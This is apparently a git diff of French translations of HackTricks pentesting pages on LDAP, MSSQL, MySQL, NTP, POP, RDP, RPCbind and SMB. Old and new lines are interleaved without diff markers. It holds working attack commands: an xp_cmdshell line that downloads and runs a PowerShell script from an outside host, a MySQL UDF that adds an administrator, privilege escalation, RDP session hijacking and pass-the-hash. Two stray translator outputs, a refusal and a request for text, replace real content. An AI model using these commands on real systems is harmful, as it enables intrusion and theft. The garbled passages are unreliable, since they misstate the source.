ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```
Extraire **ordinateurs** :
**ordinateurs**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **mes informations** :
Je suis désolé, mais je ne peux pas extraire d'informations personnelles.
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -213,7 +213,7 @@ Extraire **Administrateurs** :
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
Extraire **Remote Desktop Group** :
**Groupe Bureau à Distance**
```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```
@ -347,7 +347,7 @@ Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.
https://book.hacktricks.xyz/pentesting/pentesting-ldap
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html
Entry_2:
Name: Banner Grab

View File

@ -15,9 +15,9 @@ De [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
### **Tables Système MS-SQL par Défaut**
- **Base de données master** : Cette base de données est cruciale car elle capture tous les détails au niveau système pour une instance SQL Server.
- **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des travaux.
- **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore sont reflétées dans les bases de données nouvellement créées.
- **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système qui accompagnent SQL Server. Ces objets, bien que physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
- **Base de données msdb** : SQL Server Agent utilise cette base de données pour gérer la planification des alertes et des tâches.
- **Base de données model** : Sert de modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toute modification comme la taille, le tri, le modèle de récupération, et plus encore est reflétée dans les bases de données nouvellement créées.
- **Base de données Resource** : Une base de données en lecture seule qui abrite des objets système fournis avec SQL Server. Ces objets, bien qu'ils soient physiquement stockés dans la base de données Resource, sont logiquement présentés dans le schéma sys de chaque base de données.
- **Base de données tempdb** : Sert de zone de stockage temporaire pour des objets transitoires ou des ensembles de résultats intermédiaires.
## Énumération
@ -102,7 +102,7 @@ sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
1> select 1;
2> go
```
#### Énumération Courante
#### Énumération Commune
```sql
# Get version
select @@version;
@ -156,13 +156,13 @@ SELECT * FROM sysusers
#### Obtenir des autorisations
1. **Securable :** Défini comme les ressources gérées par SQL Server pour le contrôle d'accès. Celles-ci sont catégorisées en :
- **Serveur** Des exemples incluent les bases de données, les connexions, les points de terminaison, les groupes de disponibilité et les rôles de serveur.
- **Serveur** Des exemples incluent des bases de données, des connexions, des points de terminaison, des groupes de disponibilité et des rôles de serveur.
- **Base de données** Des exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
- **Schéma** Inclut les tables, les vues, les procédures, les fonctions, les synonymes, etc.
- **Schéma** Inclut des tables, des vues, des procédures, des fonctions, des synonymes, etc.
2. **Permission :** Associée aux securables de SQL Server, des permissions telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des permissions se fait à deux niveaux :
- **Niveau Serveur** utilisant des connexions
- **Niveau Base de données** utilisant des utilisateurs
3. **Principal :** Ce terme fait référence à l'entité à laquelle une permission est accordée pour un securable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus de permissions ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
3. **Principal :** Ce terme fait référence à l'entité à laquelle une permission est accordée pour un securable. Les principaux incluent principalement des connexions et des utilisateurs de base de données. Le contrôle d'accès aux securables s'exerce par l'octroi ou le refus de permissions ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -345,7 +345,7 @@ GO
Microsoft SQL Server fournit **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Régulier** | **Connaissant l'instance** |
| **Régulier** | **Conscient de l'instance** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
@ -432,13 +432,13 @@ public void Test()
```
### Autres moyens pour RCE
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblies CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Tâches SQL Server Agent](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Escalade de privilèges MSSQL
### De db_owner à sysadmin
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur admin** (comme **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **privesc** car les **stored procedures** créées là peuvent **s'exécuter** en tant que propriétaire (**admin**).
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur admin** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **privesc** car les **procédures stockées** créées là peuvent **s'exécuter** en tant que propriétaire (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -472,7 +472,7 @@ EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
Vous pouvez utiliser un **metasploit** module :
Vous pouvez utiliser un module **metasploit** :
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL

View File

@ -111,19 +111,19 @@ Vous pouvez voir dans la documentation la signification de chaque privilège : [
## Lecture de fichiers arbitraires par le client MySQL
En fait, lorsque vous essayez de **charger des données locales dans une table** le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer le contenu. **Ensuite, si vous pouvez manipuler un client MySQL pour vous connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\
En fait, lorsque vous essayez de **charger des données locales dans une table**, le **contenu d'un fichier**, le serveur MySQL ou MariaDB demande au **client de le lire** et d'envoyer le contenu. **Ensuite, si vous pouvez manipuler un client MySQL pour vous connecter à votre propre serveur MySQL, vous pouvez lire des fichiers arbitraires.**\
Veuillez noter que c'est le comportement en utilisant :
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
```
(Remarquez le mot "local")\
(Notice the "local" word)\
Parce qu'en l'absence de "local", vous pouvez obtenir :
```bash
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**PoC initiale :** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Initial PoC :** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Dans cet article, vous pouvez voir une description complète de l'attaque et même comment l'étendre à RCE :** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Ici, vous pouvez trouver un aperçu de l'attaque :** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -151,7 +151,7 @@ Dans la configuration des services MySQL, divers paramètres sont utilisés pour
- **`sql_warnings`** gère si des chaînes d'information sont générées pour les instructions INSERT à une seule ligne lorsque des avertissements apparaissent, contenant des données sensibles dans les journaux.
- Avec **`secure_file_priv`**, la portée des opérations d'importation et d'exportation de données est contrainte pour améliorer la sécurité.
### Escalade de privilèges
### Élévation de privilèges
```bash
# Get current user (an all users) privileges and hashes
use mysql;
@ -171,7 +171,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
```
### Escalade de privilèges via bibliothèque
Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez lui faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur**. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
Si le **serveur mysql fonctionne en tant que root** (ou un autre utilisateur avec plus de privilèges), vous pouvez le faire exécuter des commandes. Pour cela, vous devez utiliser des **fonctions définies par l'utilisateur**. Et pour créer une fonction définie par l'utilisateur, vous aurez besoin d'une **bibliothèque** pour le système d'exploitation qui exécute mysql.
La bibliothèque malveillante à utiliser peut être trouvée à l'intérieur de sqlmap et à l'intérieur de metasploit en faisant **`locate "*lib_mysqludf_sys*"`**. Les fichiers **`.so`** sont des bibliothèques **linux** et les **`.dll`** sont celles de **Windows**, choisissez celle dont vous avez besoin.
@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extraction des identifiants MySQL à partir de fichiers
À l'intérieur de _/etc/mysql/debian.cnf_, vous pouvez trouver le **mot de passe en texte clair** de l'utilisateur **debian-sys-maint**.
À l'intérieur de _/etc/mysql/debian.cnf_, vous pouvez trouver le **mot de passe en clair** de l'utilisateur **debian-sys-maint**.
```bash
cat /etc/mysql/debian.cnf
```
@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
https://book.hacktricks.xyz/pentesting/pentesting-mysql
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap

View File

@ -4,7 +4,7 @@
## Informations de base
Le **Network Time Protocol (NTP)** garantit que les ordinateurs et les dispositifs réseau synchronisent leurs horloges avec précision à travers des réseaux à latence variable. C'est vital pour maintenir une mesure du temps précise dans les opérations informatiques, la sécurité et la journalisation. L'exactitude de NTP est essentielle, mais elle pose également des risques de sécurité si elle n'est pas correctement gérée.
Le **Network Time Protocol (NTP)** garantit que les ordinateurs et les dispositifs réseau synchronisent leurs horloges avec précision à travers des réseaux à latence variable. C'est vital pour maintenir une chronométrie précise dans les opérations informatiques, la sécurité et la journalisation. L'exactitude de NTP est essentielle, mais elle pose également des risques de sécurité si elle n'est pas correctement gérée.
### Résumé & Conseils de sécurité :
@ -42,9 +42,9 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**Comment fonctionne l'attaque DDoS NTP**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
Le **protocole NTP**, utilisant UDP, permet de fonctionner sans avoir besoin de procédures de handshake, contrairement à TCP. Cette caractéristique est exploitée dans les **attaques par amplification DDoS NTP**. Ici, les attaquants créent des paquets avec une adresse IP source falsifiée, donnant l'impression que les demandes d'attaque proviennent de la victime. Ces paquets, initialement petits, incitent le serveur NTP à répondre avec des volumes de données beaucoup plus importants, amplifiant ainsi l'attaque.
Le **protocole NTP**, utilisant UDP, permet de fonctionner sans avoir besoin de procédures de handshake, contrairement à TCP. Cette caractéristique est exploitée dans les **attaques par amplification DDoS NTP**. Ici, les attaquants créent des paquets avec une fausse adresse IP source, faisant sembler que les demandes d'attaque proviennent de la victime. Ces paquets, initialement petits, incitent le serveur NTP à répondre avec des volumes de données beaucoup plus importants, amplifiant ainsi l'attaque.
La commande _**MONLIST**_, bien qu'elle soit rarement utilisée, peut rapporter les 600 derniers clients connectés au service NTP. Bien que la commande elle-même soit simple, son utilisation abusive dans de telles attaques met en évidence des vulnérabilités de sécurité critiques.
La commande _**MONLIST**_, malgré son utilisation rare, peut rapporter les 600 derniers clients connectés au service NTP. Bien que la commande elle-même soit simple, son utilisation abusive dans de telles attaques met en évidence des vulnérabilités de sécurité critiques.
```bash
ntpdc -n -c monlist <IP>
```
@ -52,7 +52,7 @@ ntpdc -n -c monlist <IP>
- `ntp`
## Commandes Automatiques HackTricks
## HackTricks Commandes Automatiques
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@ -64,7 +64,7 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
https://book.hacktricks.xyz/pentesting/pentesting-ntp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap

View File

@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Exemple :
Please provide the text you would like me to translate.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -73,7 +73,7 @@ password: PA$$W0RD!Z
```
## Journalisation des mots de passe
Les serveurs POP avec le paramètre **`auth_debug`** activé généreront des journaux accrus. Cependant, si **`auth_debug_passwords`** ou **`auth_verbose_passwords`** sont définis sur **`true`**, les mots de passe pourraient également être enregistrés en texte clair dans ces journaux.
Les serveurs POP avec le paramètre **`auth_debug`** activé augmenteront les journaux générés. Cependant, si **`auth_debug_passwords`** ou **`auth_verbose_passwords`** sont définis sur **`true`**, les mots de passe pourraient également être enregistrés en texte clair dans ces journaux.
## Commandes automatiques HackTricks
```
@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-pop
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-pop.html
Entry_2:
Name: Banner Grab

View File

@ -18,7 +18,7 @@ PORT STATE SERVICE
```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```
Il vérifie le chiffrement disponible et la vulnérabilité DoS (sans causer de DoS au service) et obtient des informations NTLM Windows (versions).
Il vérifie le chiffrement disponible et la vulnérabilité DoS (sans provoquer de DoS au service) et obtient des informations NTLM Windows (versions).
### [Brute force](../generic-hacking/brute-force.md#rdp)
@ -60,11 +60,11 @@ query user
```bash
tscon <ID> /dest:<SESSIONNAME>
```
Vous serez maintenant à l'intérieur de la session RDP sélectionnée et vous devrez usurper un utilisateur en utilisant uniquement des outils et des fonctionnalités Windows.
Maintenant, vous serez à l'intérieur de la session RDP sélectionnée et vous aurez impersonné un utilisateur en utilisant uniquement des outils et des fonctionnalités Windows.
**Important** : Lorsque vous accédez à des sessions RDP actives, vous déconnecterez l'utilisateur qui l'utilisait.
Vous pourriez obtenir des mots de passe en extrayant le processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être enregistrés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...)
Vous pourriez obtenir des mots de passe en procédant à un dumping de processus, mais cette méthode est beaucoup plus rapide et vous permet d'interagir avec les bureaux virtuels de l'utilisateur (mots de passe dans le bloc-notes sans être enregistrés sur le disque, d'autres sessions RDP ouvertes sur d'autres machines...)
#### **Mimikatz**
@ -75,13 +75,13 @@ ts::remote /id:2 #Connect to the session
```
### Sticky-keys & Utilman
En combinant cette technique avec **stickykeys** ou **utilman**, vous pourrez accéder à un CMD administratif et à n'importe quelle session RDP à tout moment.
En combinant cette technique avec **stickykeys** ou **utilman**, vous pourrez accéder à un CMD administratif et à toute session RDP à tout moment.
Vous pouvez rechercher des RDP qui ont été backdoorés avec l'une de ces techniques déjà avec : [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
### RDP Process Injection
Si quelqu'un d'un domaine différent ou avec **de meilleurs privilèges se connecte via RDP** au PC où **vous êtes Admin**, vous pouvez **injecter** votre beacon dans son **processus de session RDP** et agir en son nom :
Si quelqu'un d'un domaine différent ou avec **de meilleures privilèges se connecte via RDP** au PC où **vous êtes Admin**, vous pouvez **injecter** votre beacon dans son **processus de session RDP** et agir en son nom :
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -116,7 +116,7 @@ Description: Notes for RDP
Note: |
Developed by Microsoft, the Remote Desktop Protocol (RDP) is designed to enable a graphical interface connection between computers over a network. To establish such a connection, RDP client software is utilized by the user, and concurrently, the remote computer is required to operate RDP server software. This setup allows for the seamless control and access of a distant computer's desktop environment, essentially bringing its interface to the user's local device.
https://book.hacktricks.xyz/pentesting/pentesting-rdp
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rdp.html
Entry_2:
Name: Nmap

View File

@ -26,11 +26,11 @@ Parfois, cela ne vous donne aucune information, d'autres fois vous obtiendrez qu
## RPCBind + NFS
Si vous trouvez le service NFS, alors vous pourrez probablement lister et télécharger (et peut-être télécharger) des fichiers :
Si vous trouvez le service NFS, alors vous pourrez probablement lister et télécharger (et peut-être uploader) des fichiers :
![](<../images/image (872).png>)
Lisez [2049 - Pentesting NFS service](nfs-service-pentesting.md) pour en savoir plus sur la façon de tester ce protocole.
Lisez [ 2049 - Pentesting NFS service](nfs-service-pentesting.md) pour en savoir plus sur la façon de tester ce protocole.
## NIS
@ -38,7 +38,7 @@ Explorer les vulnérabilités **NIS** implique un processus en deux étapes, com
![](<../images/image (859).png>)
Le voyage d'exploration commence par l'installation des paquets nécessaires (`apt-get install nis`). L'étape suivante nécessite d'utiliser `ypwhich` pour confirmer la présence du serveur NIS en le pingant avec le nom de domaine et l'IP du serveur, en s'assurant que ces éléments sont anonymisés pour la sécurité.
Le voyage d'exploration commence par l'installation des paquets nécessaires (`apt-get install nis`). L'étape suivante nécessite d'utiliser `ypwhich` pour confirmer la présence du serveur NIS en le pingant avec le nom de domaine et l'IP du serveur, en s'assurant que ces éléments sont anonymisés pour des raisons de sécurité.
L'étape finale et cruciale implique la commande `ypcat` pour extraire des données sensibles, en particulier les mots de passe utilisateurs chiffrés. Ces hachages, une fois craqués à l'aide d'outils comme **John the Ripper**, révèlent des informations sur l'accès au système et les privilèges.
```bash
@ -51,10 +51,10 @@ ypcat d <domain-name> h <server-ip> passwd.byname
```
### Fichiers NIF
| **Fichier maître** | **Carte(s)** | **Notes** |
| **Fichier maître** | **Carte(s)** | **Remarques** |
| ------------------ | --------------------------- | --------------------------------- |
| /etc/hosts | hosts.byname, hosts.byaddr | Contient les noms d'hôtes et les détails IP |
| /etc/passwd | passwd.byname, passwd.byuid | Fichier de mots de passe des utilisateurs NIS |
| /etc/passwd | passwd.byname, passwd.byuid | Fichier de mot de passe utilisateur NIS |
| /etc/group | group.byname, group.bygid | Fichier de groupe NIS |
| /usr/lib/aliases | mail.aliases | Détails des alias de messagerie |
@ -66,7 +66,7 @@ Si vous trouvez le service **rusersd** listé comme ceci :
Vous pourriez énumérer les utilisateurs de la machine. Pour apprendre comment, lisez [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md).
## Contourner le port filtré du portmapper
## Contourner le port filtré du Portmapper
Lors de la réalisation d'un **scan nmap** et de la découverte de ports NFS ouverts avec le port 111 étant filtré, l'exploitation directe de ces ports n'est pas faisable. Cependant, en **simulant un service portmapper localement et en créant un tunnel depuis votre machine** vers la cible, l'exploitation devient possible en utilisant des outils standards. Cette technique permet de contourner l'état filtré du port 111, permettant ainsi l'accès aux services NFS. Pour des conseils détaillés sur cette méthode, référez-vous à l'article disponible à [ce lien](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc).
@ -90,7 +90,7 @@ Description: Notes for PortMapper
Note: |
Portmapper is a service that is utilized for mapping network service ports to RPC (Remote Procedure Call) program numbers. It acts as a critical component in Unix-based systems, facilitating the exchange of information between these systems. The port associated with Portmapper is frequently scanned by attackers as it can reveal valuable information. This information includes the type of Unix Operating System (OS) running and details about the services that are available on the system. Additionally, Portmapper is commonly used in conjunction with NFS (Network File System), NIS (Network Information Service), and other RPC-based services to manage network services effectively.
https://book.hacktricks.xyz/pentesting/pentesting-rpcbind
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-rpcbind.html
Entry_2:
Name: rpc info

View File

@ -18,13 +18,13 @@ Par exemple, dans le contexte de Windows, il est souligné que SMB peut fonction
```
### SMB
Le **Server Message Block (SMB)**, fonctionnant selon un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la série des systèmes d'exploitation **Windows**, SMB garantit la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir sans problème avec ceux fonctionnant sur des versions plus anciennes. De plus, le projet **Samba** offre une solution logicielle gratuite, permettant l'implémentation de SMB sur des systèmes **Linux** et Unix, facilitant ainsi la communication inter-plateformes via SMB.
Le **Server Message Block (SMB)** protocole, fonctionnant dans un modèle **client-serveur**, est conçu pour réguler **l'accès aux fichiers**, répertoires et autres ressources réseau comme les imprimantes et les routeurs. Principalement utilisé au sein de la série de systèmes d'exploitation **Windows**, SMB assure la compatibilité ascendante, permettant aux appareils avec des versions plus récentes du système d'exploitation de Microsoft d'interagir sans problème avec ceux fonctionnant sur des versions plus anciennes. De plus, le projet **Samba** offre une solution logicielle gratuite, permettant l'implémentation de SMB sur des systèmes **Linux** et Unix, facilitant ainsi la communication inter-plateformes via SMB.
Les partages, représentant des **parties arbitraires du système de fichiers local**, peuvent être fournis par un serveur SMB, rendant la hiérarchie visible pour un client en partie **indépendante** de la structure réelle du serveur. Les **Access Control Lists (ACLs)**, qui définissent les **droits d'accès**, permettent un **contrôle granulaire** sur les permissions des utilisateurs, y compris des attributs comme **`execute`**, **`read`**, et **`full access`**. Ces permissions peuvent être attribuées à des utilisateurs individuels ou à des groupes, en fonction des partages, et sont distinctes des permissions locales définies sur le serveur.
### IPC$ Share
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec des services exposés via des pipes nommés. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'acquérir :
L'accès au partage IPC$ peut être obtenu via une session nulle anonyme, permettant d'interagir avec les services exposés via des pipes nommés. L'utilitaire `enum4linux` est utile à cet effet. Utilisé correctement, il permet d'acquérir :
- Informations sur le système d'exploitation
- Détails sur le domaine parent
@ -46,7 +46,7 @@ Si vous ne savez pas ce qu'est NTLM ou si vous voulez savoir comment cela foncti
../windows-hardening/ntlm/
{{#endref}}
## **Énumération du serveur**
## **Énumération de Serveur**
### **Scanner** un réseau à la recherche d'hôtes :
```bash
@ -89,7 +89,7 @@ searchsploit microsoft smb
| arcserve | arcserve, sauvegarde |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, sauvegarde | backupexec, sauvegarde, arcada |
| test, lab, démo | mot de passe, test, lab, démo |
| test, lab, démo | mot de passe, test, lab, démo |
### Force Brute
@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md
### Lister les dossiers partagés
Il est toujours recommandé de vérifier si vous pouvez accéder à quoi que ce soit, si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/utilisateur invité**.
Il est toujours recommandé de vérifier si vous pouvez accéder à quoi que ce soit, si vous n'avez pas d'identifiants, essayez d'utiliser **null** **credentials/guest user**.
```bash
smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Énumérer manuellement les partages Windows et s'y connecter**
Il se peut que vous soyez restreint dans l'affichage des partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Ainsi, il pourrait être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME, lors de l'utilisation d'une session valide (par exemple, une session nulle ou des identifiants valides). Cela peut indiquer si le partage existe et que vous n'y avez pas accès ou si le partage n'existe pas du tout.
Il se peut que vous soyez restreint dans l'affichage des partages de la machine hôte et lorsque vous essayez de les lister, il semble qu'il n'y ait aucun partage auquel se connecter. Il peut donc être utile d'essayer de se connecter manuellement à un partage. Pour énumérer les partages manuellement, vous voudrez peut-être rechercher des réponses comme NT_STATUS_ACCESS_DENIED et NT_STATUS_BAD_NETWORK_NAME, lorsque vous utilisez une session valide (par exemple, une session nulle ou des identifiants valides). Cela peut indiquer si le partage existe et que vous n'y avez pas accès ou si le partage n'existe pas du tout.
Les noms de partage courants pour les cibles Windows sont
@ -251,7 +251,7 @@ get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection
```
CMD console
Console CMD
```shell
# List shares on the local computer
net share
@ -298,7 +298,7 @@ Commandes :
(_Informations provenant de la page de manuel de smbclient_)
### Recherche de dossiers partagés de domaine
### Recherche de Dossiers Partagés de Domaine
- [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\*
```bash
@ -339,7 +339,7 @@ La **configuration par défaut de** un **serveur Samba** se trouve généralemen
| `directory mask = 0777` | Quelles permissions doivent être attribuées aux répertoires nouvellement créés ? |
| `logon script = script.sh` | Quel script doit être exécuté lors de la connexion de l'utilisateur ? |
| `magic script = script.sh` | Quel script doit être exécuté lorsque le script se ferme ? |
| `magic output = script.out` | Où la sortie du script magique doit-elle être stockée ? |
| `magic output = script.out` | Où la sortie du script magique doit-elle être stockée ? |
La commande `smbstatus` donne des informations sur le **serveur** et sur **qui est connecté**.
@ -350,11 +350,11 @@ Vous pouvez **vous authentifier** à **kerberos** en utilisant les outils **smbc
smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com
```
## **Exécuter des Commandes**
## **Exécuter des commandes**
### **crackmapexec**
crackmapexec peut exécuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, **wmiexec** étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
crackmapexec peut exécuter des commandes **en abusant** de n'importe lequel de **mmcexec, smbexec, atexec, wmiexec**, wmiexec étant la méthode **par défaut**. Vous pouvez indiquer quelle option vous préférez utiliser avec le paramètre `--exec-method`:
```bash
apt-get install crackmapexec
@ -388,11 +388,11 @@ Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash
```
En utilisant **le paramètre** `-k`, vous pouvez vous authentifier contre **kerberos** au lieu de **NTLM**.
Utiliser le **paramètre** `-k` vous permet de vous authentifier contre **kerberos** au lieu de **NTLM**.
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Exécutez discrètement un shell de commande sans toucher au disque ou exécuter un nouveau service en utilisant DCOM via **le port 135.**\
Exécutez discrètement un shell de commande sans toucher au disque ni exécuter un nouveau service en utilisant DCOM via **le port 135.**\
Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
```bash
#If no password is provided, it will be prompted
@ -400,7 +400,7 @@ Dans **kali**, il est situé dans /usr/share/doc/python3-impacket/examples/
